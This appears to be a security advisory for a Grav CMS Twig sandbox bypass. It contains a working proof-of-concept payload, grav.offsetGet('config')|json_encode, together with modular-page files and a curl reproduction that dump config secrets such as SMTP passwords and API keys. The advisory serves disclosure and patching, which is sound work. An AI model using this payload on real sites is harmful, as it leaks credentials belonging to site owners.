CVE-2026-61842

The Twig content sandbox replaces config with the redacted SandboxConfig facade and strips Config::get/toArray from the method allowlist (GHSA-j274-39qw-32c9), so editor content can't read config secrets via config. That's bypassable: grav is the raw container, offsetget is allow-listed on it, so grav.offsetGet('config') returns the real Config. The allow-listed filters json_encode/print_r/yaml_encode then serialize it at the PHP level, never hitting the sandbox method gate, dumping the whole config tree including every plugins.* secret (SMTP creds, API keys, plugin DB creds). Incomplete fix for GHSA-j274-39qw-32c9. security.salt does not leak (it lives outside config).

Details

The documented path is blocked: config is the SandboxConfig facade (Twig.php:660) and the raw Config/Data method entries are stripped when config_access is false, so {{ config.get(...) }} returns the default and {{ grav.offsetGet('config').get(...) }} raises SecurityNotAllowedMethodError.

The bypass uses two allow-listed primitives the redaction doesn't cover:

1. grav.offsetGet('config') returns the raw Config. The SandboxConfig facade replaces only the config variable, not grav['config']; offsetget is allow-listed on Grav\Common\Grav in system/config/security.yaml.
2. json_encode/print_r/yaml_encode serialize the object inside the filter and never call GravSecurityPolicy::checkMethodAllowed (GravSecurityPolicy.php:65), so the stripped methods don't matter.

Bug class: object-dumping filters bypass the sandbox member gate. The same dump reaches page/pages/uri/user via their allow-listed accessors; config is the secret-bearing target.

Reachable below the publisher-Twig opt-in: a _-prefixed slug is modular (Page.php:228), and Page::content() sets $process_twig = $scan_twig_xss || $this->modularTwig() (Page.php:816), so a modular child's body Twig is sandboxed-rendered even with twig_content.process_enabled false (the default), while $scan_twig_xss stays false so the render-time XSS scan (GHSA-2c4f-86xc-cr74) is skipped. Any admin.pages author (or filesystem write to user/pages) exfiltrates config on a stock install. On a regular process.twig page the whole-tree dump trips the XSS scan and is blanked, but a targeted split/slice extraction of one subtree is XSS-clean and survives.

PoC

Sandboxed render, config_access default false. First two lines show the gate holding, third is the bypass:

{{ config.get('plugins.email.mailer.smtp.password', 'DENIED') }}
{# => DENIED #}
{{ grav.offsetGet('config').get('plugins.email.mailer.smtp.password') }}
{# => SecurityNotAllowedMethodError 'get' #}
{{ grav.offsetGet('config')|json_encode }}
{# => {...,"plugins":{"email":{"mailer":{"smtp":{"password":"CANARY..."}}}},...} #}

Stock-install reproduction (no user/config/security.yaml):

# user/config/plugins/email.yaml  -- decoy secret
mailer: { smtp: { password: CANARY_SMTP_PW_8b3f1 } }

# user/pages/70.parent/default.md
---
title: Parent
content: { items: '@self.modular' }
template: modular
---

{# user/pages/70.parent/_secret/default.md #}
---
title: Secret
template: modular/text
---
{{ grav.offsetGet('config')|json_encode }}

curl -s http://localhost/parent   # body contains CANARY_SMTP_PW_8b3f1

logs/security.log shows no sandbox block and no XSS scan for the route. Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, Twig 3.26.1-DEV.